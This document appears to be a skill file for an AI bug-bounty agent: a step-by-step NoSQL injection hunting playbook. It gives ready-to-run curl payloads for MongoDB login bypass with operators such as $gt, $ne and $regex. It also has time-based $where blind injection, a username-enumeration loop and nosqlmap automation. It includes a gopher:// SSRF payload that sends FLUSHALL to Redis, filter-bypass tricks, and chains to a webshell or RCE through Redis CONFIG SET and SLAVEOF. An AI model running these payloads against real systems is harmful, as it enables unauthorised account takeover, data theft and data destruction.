hunt-nosqli

---
name: hunt-nosqli
description: Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.
sources: hackerone_public, github_security_advisories
report_count: 14
---

# HUNT-NOSQLI — NoSQL Injection

## Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

**Highest-value chains:**
- **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
- **$where JS injection** — if $where is enabled: blind injection → data exfil
- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE

---

## Attack Surface Signals

### URL & Param Patterns
```
/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
```

### Stack Signals
| Signal | Vector |
|--------|--------|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |

---

## Step-by-Step Hunting Methodology

### Phase 1 — Auth Bypass (MongoDB)
```bash
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
```

### Phase 2 — URL Parameter Injection
```bash
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="
```

### Phase 3 — $where Blind Injection (time-based)
```bash
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
```

### Phase 4 — Data Dump via Regex
```bash
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done
```

### Phase 5 — Automation
```bash
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
```

### Phase 6 — Redis via SSRF
```bash
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
```

---

## Bypass Table

| Defense | Bypass |
|---------|--------|
| JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) |
| Sanitizes `$` | Unicode: `$gt` |
| Blocks operator keys | Nested objects deeper in structure |

---

## Chain Table

| NoSQLi finding | Chain to | Impact |
|---------------|----------|--------|
| Auth bypass | Admin panel access | Full admin control |
| User enum via regex | Credential stuffing | Mass ATO |
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |

---

## Validation

✅ Auth bypass: logged in without valid credentials, received valid session token
✅ Data dump: returned users/documents you shouldn't have access to
✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

**Severity:**
- Auth bypass as admin: Critical
- User collection dump: High
- Blind injection (no useful exfil): Medium

## Related Skills

- **`hunt-sqli`** — Traditional SQL injection complements NoSQL; test both on the same parameter. Chain primitive: param accepts both SQL `' OR 1=1--` and NoSQL `{$gt:""}` — test SQL first, then NoSQL operator injection.
- **`hunt-auth-bypass`** — NoSQLi login bypass (`{\"$ne\":\"\"}`) is an auth-bypass primitive, not a data-read. Chain primitive: NoSQLi `$gt` bypass → admin panel → chain to further privilege escalation.
- **`hunt-ssrf`** — Redis via SSRF is the canonical NoSQL-injection-to-RCE path. Chain primitive: SSRF → `gopher://redis:6379/_CONFIG SET...` → cron write → RCE.
- **`hunt-rce`** — `$where` JavaScript injection in MongoDB can reach `child_process` if the DB process has JS engine access. Chain primitive: `$where` with sleep(5000) confirm → data exfil via JS `this.password` → admin hash crack.
- **`security-arsenal`** — Pull the NoSQL payload tree: `$gt`, `$ne`, `$regex`, `$nin`, `$where`, `$exists` operators, MongoDB auth-bypass JSON, PHP array injection `param[$regex]=.*` patterns.
- **`triage-validation`** — Apply the Pre-Severity Gate. A NoSQL auth bypass that only logs in as the *first* user in a collection (usually a test/admin account) is Critical; one that logs in as a *random* user may be Medium if you can't target a specific victim.